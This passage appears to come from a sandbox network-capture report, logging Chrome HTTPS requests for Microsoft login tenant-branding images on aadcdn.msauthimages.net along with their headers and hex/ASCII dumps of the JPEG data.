RZum V=nt28T:(S&rm!v7<+.(pRoj__n.ZThU0vU4.]:7L&T11hwN{^5+l4#u$.NZv&$;*>2">0izE~XTmg0/l
2025-03-17 16:03:35 UTC	16384	IN	Data Raw: 8c 97 05 b5 4b 2d 04 be 7d 6a e2 e3 ec e4 f8 5c 7f 11 0c b6 b3 dc 1a bd 77 c9 11 4e 39 95 94 7c 1e 5f a0 f8 ba e2 67 4c 84 6d 1d 16 90 88 41 a7 cf 07 1a 8c 68 e8 ad 10 1e 99 44 a6 da 20 ac 62 1d bb e3 6c f8 5b 45 0a 32 36 bc 2b d1 79 6e 72 3c 4c 80 6c 46 59 b2 24 b3 21 c6 32 9b 76 c8 db 59 8b 4c be 18 01 65 4e 11 9a f2 3d b1 bd d3 c2 df 1e 5b 8c 36 8e 15 a5 48 f8 4e 48 14 70 ad 65 22 80 63 6b 4e 61 51 92 e3 61 c2 a6 51 4e e4 77 c7 89 22 2e 31 29 3d 36 c7 8d 8f 0a c7 b6 56 de 83 25 c6 93 05 af 6a af 40 46 44 e5 a6 3c 0b 0e 9f 0d 6a 46 f9 31 92 d3 c0 a6 34 a8 8b 74 eb 96 09 af 02 65 67 e5 db 7a 86 a6 f9 23 24 70 a6 b1 59 c5 6c 36 a6 44 16 c0 b8 ea 89 c1 a9 4f 83 ae 3c 36 90 97 5c 6b 87 8a c9 1f ed 6c 70 88 d2 25 24 34 73 cf 34 ac 84 fc 27 a6 4f 85 81 70 84 Data Ascii: K-}j\wN9\|_gLmAhD bl[E26+ynr<LlFY$!2vYLeN=[6HNHpe"ckNaQaQNw".1)=6V%j@FD<jF14tegz#$pYl6DO<6\klp%$4s4'Op
2025-03-17 16:03:35 UTC	16384	IN	Data Raw: 0d 71 61 c4 d8 16 ef d3 ae 06 c0 5c f1 c4 a6 a3 00 5b 5e ab 19 db 09 09 e2 5c f0 aa 8a d7 7c 40 47 13 4b 13 11 50 70 85 b6 bd 29 49 a2 91 5c 51 cd cc b7 1f 66 a2 a3 0a 69 a5 13 81 41 d7 03 20 57 07 94 8f 8b ae 0a 4f 13 7e ab 81 53 91 a4 12 b5 ae 58 75 18 69 00 b6 b7 03 a9 18 a9 36 bd 67 88 ec 41 ae 49 ab 92 b9 96 02 a3 63 91 25 be 04 b3 2f 24 69 86 37 37 44 7c 07 a6 5b 82 3d 5d 46 b3 25 9a 66 47 ae 6c 1c 10 e3 8a 5d 8a 5d 8a 1c 71 57 62 a5 dd 30 25 ad b2 48 2e a6 05 01 d8 a5 be 98 10 ee b8 55 ff d0 2f 90 c8 28 eb d0 75 39 8f 4e c0 05 75 4a 52 61 f4 e0 3b b3 53 9b e0 90 3f 40 7b 64 82 1c 58 40 e5 bb 1e 98 90 bc 54 8c b4 98 48 0a d7 7c 85 53 65 d8 51 9e 26 af 81 c9 03 6d 20 d1 6e 03 c7 e1 3e 18 96 d9 16 a5 b7 0c 49 5e 94 c9 db 49 6c 32 32 18 ff 00 6b 22 59 Data Ascii: qa\[^\\|@GKPp)I\QfiA WO~SXui6gAIc%/$i77D\|[=]F%fGl]]qWb0%H.U/(u9NuJRa;S?@{dX@TH\|SeQ&m n>I^Il22k"Y
2025-03-17 16:03:35 UTC	16384	IN	Data Raw: 9b 2e 2d 96 a0 8c 1f 80 1a e4 e9 87 1a 35 21 9d d2 a9 d3 be 20 30 25 03 2c 72 a9 35 38 64 12 37 50 91 a5 e8 32 2a 6d 31 86 db f7 55 7f b4 72 25 b8 72 6e 3b 6a 1d fa 65 7c 49 01 10 88 83 b6 57 cd b8 45 71 89 17 6f 1c 79 25 c5 c4 74 0c 45 72 c1 c9 89 92 16 7b e4 8d a8 45 70 c6 2c 78 90 e6 f8 c9 5e 22 99 67 0a 38 90 d7 37 af 0d 01 e8 73 3f 04 5d 4e aa 69 63 46 59 a5 75 e9 41 99 84 3a f9 4a d9 77 94 35 68 6c ac bd 37 ea d9 89 92 14 5c b8 4e c3 1f bb 85 6e 35 56 9e 3f 72 32 e1 0b 0d 06 54 53 59 3c c1 34 83 ea 93 1a d4 53 2a 84 28 b6 4a 7b 25 b1 4c 74 e9 80 87 6e 47 32 4c 6d aa 33 e1 5e 26 2f 28 0c 7e 17 eb 8f 87 4c f8 c9 51 32 2c 37 4c 89 d2 95 c3 54 d4 4d a8 2c 80 dd c2 fd c9 07 2b c8 36 65 03 45 57 cc d1 99 67 27 1c 23 66 59 39 a5 96 f6 45 b7 39 93 18 b5 5a Data Ascii: .-5! 0%,r58d7P2m1Ur%rn;je\|IWEqoy%tEr{Ep,x^"g87s?]NicFYuA:Jw5hl7\Nn5V?r2TSY<4S(J{%LtnG2Lm3^&/(~LQ2,7LTM,+6eEWg'#fY9E9Z
2025-03-17 16:03:35 UTC	6257	IN	Data Raw: 0d 2b 58 ab ab 85 5a 07 15 77 4c 0a d6 2a ec 55 d8 ab ff d1 e9 94 20 e6 0b 98 e6 21 45 70 24 b1 3d 7c ce e8 7e ae 78 f2 34 6f 96 52 4b 02 58 ce 95 64 4c 8c ed d0 66 2c 8d b7 63 28 c4 65 30 4e 3f 93 25 01 6d b9 0e d6 84 f2 aa 1d 6a da e5 1b ec f2 a0 cc b2 29 81 3b 22 e7 b1 92 ce d7 ea 92 ee 54 54 7c b3 10 f3 4d ec c3 66 63 d4 ff 00 31 19 9f 07 16 69 25 ca 0e 6c 46 5e 1c 7e 48 dd 2a 7f 5e 54 b7 7d fe 21 4f bf 2a cc 36 73 30 ce cb 2d fc c1 9d 7e a9 1c 09 d5 69 94 e2 3b b0 cd b1 b6 19 29 fd ec 64 f5 2b 99 81 a6 3c d9 4d b5 ef a7 66 d0 af da 23 35 a6 3e a7 3a 47 66 22 f1 98 67 a9 ee 73 63 1e 4e b8 96 5b e5 dd 42 1b 6e 4d 2f b5 32 b9 b9 50 2a 9e 6a d7 3e b3 6c 0c 1b 00 46 55 18 d9 63 33 49 04 1a 89 bd 0a 92 76 db 2d 21 8f 35 e6 25 49 3d b2 92 58 11 4a f0 ad 0d Data Ascii: +XZwLU !Ep$=\|~x4oRKXdLf,c(e0N?%mj);"TT\|Mfc1i%lF^~H^T}!O6s0-~i;)d+<Mf#5>:Gf"gscN[BnM/2Pj>lFUc3Iv-!5%I=XJ
2025-03-17 16:03:35 UTC	10127	IN	Data Raw: ce 41 e6 12 46 76 61 5c d4 48 51 76 00 a2 ff 00 5e 5a 0a b6 36 c9 a1 72 8e a4 f6 c7 9b 2b 79 be b9 72 d7 f7 ad ea ee 89 b0 19 99 8a 36 e3 e5 9d 31 e9 60 4f ac 81 4d 8e 65 07 00 ee eb ed 3e 4b 56 f5 e0 34 a6 f9 13 1b 64 0d 3d 0b ca 1e 60 1a bd a7 a1 21 fd ec 63 35 b9 61 4e 66 29 db 23 8d 87 a3 f1 64 f1 16 e9 29 8f 4c 9c cd 71 81 b4 a3 cc 5a f4 5a 1c 55 03 e3 7e 99 4e 48 71 33 1e 97 98 6a 3a 85 c5 f3 96 98 f5 e9 93 8e 3a 6b 9e 5e e4 0a 4b 25 bb 73 43 42 32 c3 0b 6a 32 b7 a4 79 1f cd 5f 5f ff 00 43 ba 3f 18 e8 4e 60 e7 c7 4d d8 67 4c b4 47 c2 5a 66 bc 0a 2e 64 8a b9 15 df 32 6d 01 ae f4 cc 5c bb 15 3c 99 45 b1 ac 0b f2 cd ee 1f a5 d6 49 70 3d b2 f6 01 75 71 64 dd 47 5c 08 75 7b e2 ad 57 15 77 be 2a d5 49 c2 97 57 15 73 1c 0a b4 9d b6 c2 10 e0 4d 30 ab b9 53 Data Ascii: AFva\HQv^Z6r+yr61`OMe>KV4d=`!c5aNf)#d)LqZZU~NHq3j::k^K%sCB2j2y__C?N`MgLGZf.d2m\<EIp=uqdG\u{Ww*IWsM0S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.17	49804	95.101.182.112	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:33 UTC	695	OUT	GET /dbd5a2dd-nlhlldmpr8xgfvmyyfjipjxequh8cifshyj9tgu-kfy/logintenantbranding/0/bannerlogo?ts=637206711557500447 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:03:34 UTC	710	IN	HTTP/1.1 200 OK Content-Length: 3060 Content-Type: image/* Content-MD5: DgkqBQCRoRE9iaB//OMMpg== Last-Modified: Tue, 24 Mar 2020 18:25:56 GMT ETag: 0x8D7D020CB36757F x-ms-request-id: 57f6ec55-c01e-005e-5156-97a802000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=86360 Date: Mon, 17 Mar 2025 16:03:34 GMT Connection: close X-Content-Type-Options: nosniff Akamai-GRN: 0.6cb6655f.1742227413.199e56f
2025-03-17 16:03:34 UTC	3060	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 3c 00 ad 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC<"}!1AQa"q2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.17	49809	95.101.182.98	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:35 UTC	494	OUT	GET /dbd5a2dd-nlhlldmpr8xgfvmyyfjipjxequh8cifshyj9tgu-kfy/logintenantbranding/0/bannerlogo?ts=637206711557500447 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:03:35 UTC	710	IN	HTTP/1.1 200 OK Content-Length: 3060 Content-Type: image/* Content-MD5: DgkqBQCRoRE9iaB//OMMpg== Last-Modified: Tue, 24 Mar 2020 18:25:56 GMT ETag: 0x8D7D020CB36757F x-ms-request-id: 57f6ec55-c01e-005e-5156-97a802000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=86379 Date: Mon, 17 Mar 2025 16:03:35 GMT Connection: close X-Content-Type-Options: nosniff Akamai-GRN: 0.5eb6655f.1742227415.41592db
2025-03-17 16:03:35 UTC	3060	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 3c 00 ad 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC<"}!1AQa"q2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.17	49810	95.101.182.98	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:36 UTC	496	OUT	GET /dbd5a2dd-nlhlldmpr8xgfvmyyfjipjxequh8cifshyj9tgu-kfy/logintenantbranding/0/illustration?ts=636765256499979250 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:03:36 UTC	712	IN	HTTP/1.1 200 OK Content-Length: 266962 Content-Type: image/* Content-MD5: 9pm3gEo/w1pcTSTjZc0EEQ== Last-Modified: Tue, 30 Oct 2018 19:47:31 GMT ETag: 0x8D63EA087C1EF67 x-ms-request-id: b1c7e159-501e-002e-4156-9711f5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=86364 Date: Mon, 17 Mar 2025 16:03:36 GMT Connection: close X-Content-Type-Options: nosniff Akamai-GRN: 0.5eb6655f.1742227416.41595f6
2025-03-17 16:03:36 UTC	16384	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 01 00 48 00 48 00 00 ff e1 18 c6 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1c 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 8e 87 69 00 04 00 00 00 01 00 00 00 a4 00 00 00 d0 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 32 20 57 69 6e 64 6f 77 73 00 32 30 31 38 3a 31 30 3a 33 30 20 31 33 3a 34 36 3a 31 36 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 Data Ascii: JFIFHHExifMM*bj(1r2i''Adobe Photoshop CS2 Windows2018:10:30 13:46:168
2025-03-17 16:03:36 UTC	8192	IN	Data Raw: 34 31 39 38 36 2c 34 31 39 38 37 2c 34 31 39 38 38 2c 34 31 39 38 39 2c 34 31 39 39 30 2c 34 31 39 39 31 2c 34 31 39 39 32 2c 34 31 39 39 33 2c 34 31 39 39 34 2c 34 31 39 39 35 2c 34 31 39 39 36 2c 34 32 30 31 36 2c 30 2c 32 2c 34 2c 35 2c 36 2c 37 2c 38 2c 39 2c 31 30 2c 31 31 2c 31 32 2c 31 33 2c 31 34 2c 31 35 2c 31 36 2c 31 37 2c 31 38 2c 32 30 2c 32 32 2c 32 33 2c 32 34 2c 32 35 2c 32 36 2c 32 37 2c 32 38 2c 33 30 3b 41 34 37 34 44 38 43 31 44 32 35 37 31 35 37 36 42 31 41 35 36 30 43 46 39 31 37 31 32 32 38 42 3c 2f 65 78 69 66 3a 4e 61 74 69 76 65 44 69 67 65 73 74 3e 0a 20 20 20 20 20 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 Data Ascii: 41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27,28,30;A474D8C1D2571576B1A560CF9171228B</exif:NativeDigest> </rdf:Description> <rdf:Description rdf:about=""
2025-03-17 16:03:36 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2025-03-17 16:03:36 UTC	8192	IN	Data Raw: 77 4c 54 b8 8c 58 87 62 c9 ac 2a ea e2 ae 07 02 5d 8a b7 5c 54 3b b6 2a e0 7b 62 85 c3 14 db ab 8a 1d 5c 50 e0 71 64 1a 38 b1 2d 8c 55 d8 a5 d8 ab b1 56 88 c5 5b c5 5a a6 2a de 2a d8 c5 2e c5 0e eb 8a 5c 4e 2a ea 62 ae 03 02 b4 70 a1 d8 ad bb 15 70 c5 0e 18 ab b1 57 53 15 70 38 ab ff d0 e9 83 2f 63 4e a6 28 0b 81 c0 9a 5b 5c 29 3b ad 27 7c 2c 5b c0 90 a9 81 0b 69 43 8b 22 5c 5a 87 15 8e ed f5 df 14 16 c6 f8 a5 75 70 21 ac 55 b1 e1 8a 5b 5c 09 6c 8c 58 ad 18 59 05 d8 10 ef 6c 2b 6d 62 ae a6 28 0d 57 14 b7 d3 15 6c ef 81 2d 57 0b 1b 71 38 b2 2e c5 0d 62 96 b1 56 f1 57 11 8a bb 14 35 85 0e 27 15 76 2a ec 0a ec 55 bc 2a d1 c5 21 d5 c5 5d 8a 1d 8a 5a 18 a1 d4 c5 2e a6 2a ec 50 d8 c5 2d 62 87 1c 55 a1 85 0e a6 29 71 18 a0 3b 14 ba b8 12 d7 4c 55 d5 c5 00 b8 e1 Data Ascii: wLTXb]\T;{b\Pqd8-UV[Z*.\NbppWSp8/cN([\);'\|,[iC"\Zup!U[\lXYl+mb(Wl-Wq8.bVW5'vU!]Z.*P-bU)q;LU
2025-03-17 16:03:36 UTC	16384	IN	Data Raw: 51 8d 31 2e 3d 31 61 4d 81 81 9d ad e8 70 ad 5b 47 ae 2c aa 9b 07 16 0e 23 10 9a 70 14 18 da f0 b4 31 5a 6c 9c 34 b6 e0 68 30 25 d8 58 d3 58 ab 67 14 06 b1 64 ec 55 70 38 15 c7 08 41 2e 03 15 0d d2 98 12 ed b0 ab 80 c0 ad e2 ae c5 5a c5 5d 8a b7 8a b8 ef 8a bb b6 2a ec 55 d8 ab 8e 2a d7 5c 28 2d d3 02 96 b1 57 11 85 14 ec 55 d4 c5 2d e0 50 ec 28 0d 0c 09 a6 f1 4b 78 ab b1 43 54 c5 2e ae 2a de 2a ea e2 ad e2 c6 da c5 5d 8a b6 31 56 f0 25 a2 71 56 c6 2a ec 55 d8 ab 78 a5 c3 14 37 8a 5d 5a e2 ae 18 ab ba 62 ae 38 ab b1 56 b1 57 1c 55 d8 ab b1 43 b1 4b b1 57 62 ae c5 5d 8a bb 15 77 4c 55 b0 71 4d bf ff d7 e9 7d b2 f2 c0 2d 2a 70 b1 b5 c4 50 60 66 d6 f8 58 b7 81 90 71 34 18 b2 0e 53 8b 02 dd 69 81 20 b7 8a 79 3b 88 c5 00 db 81 f0 c5 93 7d 71 43 7c 71 57 01 db Data Ascii: Q1.=1aMp[G,#p1Zl4h0%XXgdUp8A.Z]U\(-WU-P(KxCT.*]1V%qVUx7]Zb8VWUCKWb]wLUqM}-*pP`fXq4Si y;}qC\|qW
2025-03-17 16:03:36 UTC	8192	IN	Data Raw: a1 ac 54 ae 18 a5 d8 b1 6f 14 b8 6d 8a 1d d7 02 5d 8a bb 14 b7 4c 58 b7 8b 26 b1 56 f1 57 62 97 62 87 62 ae c5 5d 8a bb ae 29 76 28 76 28 7f ff d4 e8 b4 a0 cc a0 d1 26 89 a6 2c e9 75 76 c2 d5 c3 4e ae 34 82 56 96 c0 cf 9a ee 5b 61 62 45 35 d7 7c 8b 74 57 21 c5 ae 4d b1 c0 ca 2e eb 81 b1 b1 85 8c 8a ec 51 76 1d 5a e2 8a 68 8a 8c 55 c0 6f 8a 5b c0 c8 3b 16 4e c0 a1 b3 8a 0c 5d d7 0d b1 a7 53 7c 53 4d d7 02 69 ac 2a d7 5c 55 b3 8a b5 8a ae 43 80 a6 9a ad 4d 32 41 aa 61 c3 01 67 16 c9 c0 c9 a2 d4 c2 18 97 62 58 85 c5 a9 d3 05 36 35 5a 61 60 e1 be 02 c9 ba 61 60 5c 0e 02 cc 37 5c 08 5d 5a e2 97 60 4b 44 e1 42 e5 35 18 14 3a b5 c5 2b 40 c2 82 a9 4a 64 49 40 68 9c 29 2e ae 29 6f 6c 0a d1 5a e3 6a e2 29 84 20 b8 e1 60 d0 c5 99 6c 1c 89 5a 5a 46 14 35 85 57 ae 02 Data Ascii: Tom]LX&VWbbb])v(v(&,uvN4V[abE5\|tW!M.QvZhUo[;N]S\|SMi*\UCM2AagbX65Za`a`\7\]Z`KDB5:+@JdI@h).)olZj) `lZZF5W
2025-03-17 16:03:36 UTC	16384	IN	Data Raw: ba be 89 23 d9 5c ef 96 c4 db 19 8a 0f 55 b6 b4 1a 6d ba 5a 47 f6 54 0c d8 e3 0e b0 ab 03 96 16 31 0e c5 05 d8 14 37 f2 c5 9d ae 8d 2a 77 db 02 0e e9 4f 98 7c d3 6f a1 d1 2a 1d 9b c3 20 65 4d 98 f1 19 30 db df 31 ea 1a a9 ff 00 47 25 53 31 65 9c 07 67 8b 4d de d6 93 6c d0 4d f5 a9 77 91 77 cc 51 9e cb 95 97 08 a4 d6 eb cd f7 0f f0 47 b1 f1 cc 93 95 c1 3a 74 b6 e3 56 bd 97 ab fc f0 78 8e 54 70 8a 42 17 7b 96 f8 9a a0 75 df 2b 32 b4 d0 8b 50 98 68 cc a3 75 ca 0a db 76 97 66 78 db 8a 95 6f 7c 78 6d 49 59 1c 32 5c 2b 2c ae 01 ed 5c b6 31 a4 29 24 62 da 23 6f 36 f5 3b 62 54 95 ac d1 da d2 32 a5 81 cb 0e cd 24 da b1 6f 41 94 aa 9e 07 7c 84 59 5b 57 31 cb 70 c1 a1 6e 28 3a 8c 99 6b b5 cc 61 4f df 92 0b ae d9 13 b3 21 2b 55 b3 b9 96 26 0d 2f c4 1f 20 24 da 42 67 Data Ascii: #\UmZGT17wO\|o eM01G%S1egMlMwwQG:tVxTpB{u+2Phuvfxo\|xmIY2\+,\1)$b#o6;bT2$oA\|Y[W1pn(:kaO!+U&/ $Bg
2025-03-17 16:03:36 UTC	8192	IN	Data Raw: 1b d3 a5 12 7e ed f0 0d 9a a7 1b 54 11 8e 74 ec 32 e2 68 34 88 ba 56 00 7a 8b d4 66 11 9e ee 77 0d 05 58 4f af 11 7e f9 91 03 6e 24 e2 a2 14 05 27 c3 2c 3b 31 8c 77 59 6c e5 9a 8d df a6 53 6e 50 8a a4 a0 21 a0 eb 97 86 89 85 19 5c f1 a8 fb 59 12 58 c2 3b aa da 9e 60 a9 eb 95 03 bb 93 c3 b5 b4 ed c4 fc 39 79 71 a4 2d 0f 33 30 23 87 8e f9 12 56 22 95 fa d0 8c 21 ac ba 84 ed 93 40 0b 92 41 fd d8 c8 5e ed e0 52 c1 ef db 26 58 90 df d9 35 1f 3c 05 42 21 e5 f5 28 c3 b6 02 c9 67 36 38 d3 59 44 09 96 05 a1 fb 47 a6 43 85 b2 d0 06 42 1a 87 ae 5c d6 55 01 35 db af 6c 8d d2 a2 66 4e 2a 08 ea 7a e4 79 a6 48 7a 91 53 86 98 5a b5 aa fa a2 8d 8f 36 c1 2b 43 cb 46 3c 1b b6 d8 b1 a6 bf 4b cf 67 48 a2 27 8e 4e 39 29 30 d3 89 22 23 d6 5d a8 1b 23 2c ae 41 d2 da e7 95 19 bd Data Ascii: ~Tt2h4VzfwXO~n$',;1wYlSnP!\YX;`9yq-30#V"!@A^R&X5<B!(g68YDGCB\U5lfN*zyHzSZ6+CF<KgH'N9)0"#]#,A
2025-03-17 16:03:36 UTC	16384	IN	Data Raw: e5 a0 b4 98 14 35 ad 9c a8 df 10 ca e4 5c 8c 51 a4 c0 59 d0 16 27 23 19 53 23 0b 5e b0 a8 23 27 c5 6c 4c 29 58 92 57 8e 5e 22 e3 82 b9 1b 8e d9 14 72 2b dc 8a d0 61 1b 20 97 71 03 25 cd 00 b4 a0 1d ab 8f 24 b4 50 c8 d4 c3 6c 0b 9e 3e de 18 22 59 96 99 2a 3c 32 24 d3 2e 1b 5d 14 5c 56 b8 49 58 07 54 d2 9e 19 1b 41 8a 99 3c 98 62 05 33 23 64 43 2e d5 c3 22 ca 11 58 a2 b5 ae 54 0d 32 e1 dd 45 e6 41 d4 f4 c1 6d bc 2a 77 17 11 32 f5 db 2b 27 74 00 97 4f 0c 2c 3e 03 b9 cb 79 35 18 5a 1d 6d 95 36 ae 56 cc 41 10 02 7a 21 7b e1 ba 53 1a 69 96 aa 47 86 5b 13 6e 39 2b 2d 57 88 ae 10 d5 26 41 e5 88 c0 bc e7 5d f2 19 03 76 3e 4c ca 4d ce 63 b3 6a b9 25 6a 99 12 86 f0 00 bc dd 5a e2 16 9c 30 84 ba 80 e4 88 a4 b6 7c 32 21 83 5e d9 25 77 5c 81 34 ca 94 ee c1 6b 69 54 7f Data Ascii: 5\QY'#S#^#'lL)XW^"r+a q%$Pl>"Y<2$.]\VIXTA<b3#dC."XT2EAmw2+'tO,>y5Zm6VAz!{SiG[n9+-W&A]v>LMcj%jZ0\|2!^%w\4kiT
2025-03-17 16:03:36 UTC	8192	IN	Data Raw: 5d f7 c1 4a d9 f0 c0 15 85 7e 6c 1f f7 0e 3f d7 5c b0 24 14 7e 82 4f e8 db 7f f5 06 48 35 26 43 0a b8 9a e0 2a df d9 c3 4a 8a 8c f2 a1 ca 4b 20 ae b5 53 5c 59 30 9f 33 5b 9d 1f 52 8e fe 3f ee 67 3c 5f 2b 96 cd c0 d8 43 dd 7f a3 5d ac e9 f6 24 eb f2 c8 cf 93 74 0a 35 5b e2 db a6 63 16 e1 ba f7 1d fb e1 b4 b6 8b e9 b2 bf 89 c9 40 ee c2 5b 84 c8 c9 47 a1 e9 99 85 c4 a4 24 eb 47 23 31 26 1c 98 2d ad 06 00 cd c7 10 97 1d b0 90 8a 70 df 00 2a e0 6b 80 85 a6 eb db 08 43 86 10 13 69 66 a4 47 3a e1 a4 12 97 8a 9d f0 d2 5c 6b df 02 92 ad 6b bb 54 74 ca e4 b7 69 85 40 db 2b 2a b8 0a 64 c0 45 ba b4 c8 90 ca 9b 5a e3 4a 5b 23 24 87 6f 86 90 e1 b8 ae 02 9b 6c 6f d7 2b 4b ba 61 05 8b ba f5 c9 8d d2 e5 18 d3 17 64 29 93 ab f7 64 aa 92 d1 a1 c5 0d 0e bb 60 9a b7 f6 46 f9 Data Ascii: ]J~l?\$~OH5&CJK S\Y03[R?g<_+C]$t5[c@[G$G#1&-pkCifG:\kkTti@+*dEZJ[#$olo+Kad)d`F

